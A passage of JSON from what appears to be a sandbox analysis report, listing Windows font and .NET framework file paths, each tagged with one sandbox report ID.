ramework\\v4.0.30319\\SortDefault.nlp","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\4cfa42c8b69a64e192f3255ec900457d\\System.Runtime.Remoting.ni.dll.aux","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MARLETT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIAL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIALBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BATANG.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COUR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COURI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COURBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\COURBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\DAUNPENH.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\DOKCHAMP.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ESTRE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\EUPHEMIA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GAUTAMI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GAUTAMIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VANI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VANIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GULIM.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\IMPACT.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ISKPOTA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ISKPOTAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KALINGA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KALINGAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KARTIKA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KARTIKAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KHMERUI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KHMERUIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LAOUI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LAOUIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LATHA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LATHAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LUCON.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MALGUN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MALGUNBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MANGAL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MANGALB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MEIRYO.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MEIRYOB.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\HIMALAYA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSJH.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSJHBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSYH.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSYHBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MINGLIU.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MINGLIUB.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MONBAITI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSGOTHIC.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSMINCHO.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MVBOLI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\NTAILU.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\NTAILUB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\NYALA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PHAGSPA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PHAGSPAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\PLANTC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\RAAVI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\RAAVIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOESC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOESCB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEUI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEUIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEUII.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEUIZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGUISB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGOEUIL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SEGUISYM.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SHRUTI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SHRUTIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMSUN.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMSUNB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SYLFAEN.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TAILE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TAILEB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TIMES.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TIMESI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TIMESBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TIMESBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TUNGA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TUNGAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VRINDA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VRINDAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SHONAR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SHONARB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSYI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TAHOMA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TAHOMABD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MICROSS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\APARAJ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\APARAJB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\APARAJBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\APARAJI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\EBRIMA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\EBRIMABD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GISHA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\GISHABD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KOKILA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KOKILAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KOKILABI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KOKILAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LEELAWAD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LEELAWDB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MSUIGHUR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MOOLBOR.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SYMBOL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UTSAAH.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UTSAAHB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UTSAAHBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UTSAAHI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VIJAYA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\VIJAYAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\WINGDING.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MODERN.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROMAN.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SCRIPT.FON","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANDLSO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARABTYPE.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMPO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMPBDO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMPFXO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MAJALLA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MAJALLAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TRADO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\TRADBDO.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\AHRONBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\DAVID.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\DAVIDBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\FRANK.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LVNM.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\LVNMBD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MRIAM.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\MRIAMC.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\NRKIS.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ROD.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMFANG.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMHEI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\SIMKAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAU.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAUI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAUB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ANGSAUZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAU.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAUI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAUB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\BROWAUZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAU.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAUB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAUZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CORDIAUI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCDL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCDI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCDB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCDBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCEL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCEI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCEB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCEBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCFL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCFI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCFB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCFBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCIL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCII.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCIBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCJL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCJI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCJB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCJBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCKL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCKI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCKB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCKBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCLL.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCLI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCLB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\UPCLBI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\KAIU.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\L_10646.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\ARIBLK.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIBRI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIBRII.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIBRIB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CALIBRIZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CAMBRIA.TTC","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CAMBRIAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CAMBRIAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CAMBRIAZ.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CANDARA.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CANDARAI.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\CANDARAB.TTF","sources":[{"report_type":"sandbox","report_id":"57cdbdcfaac2ed437eba215e"}]},{"path":"%WINDIR%\\FONTS\\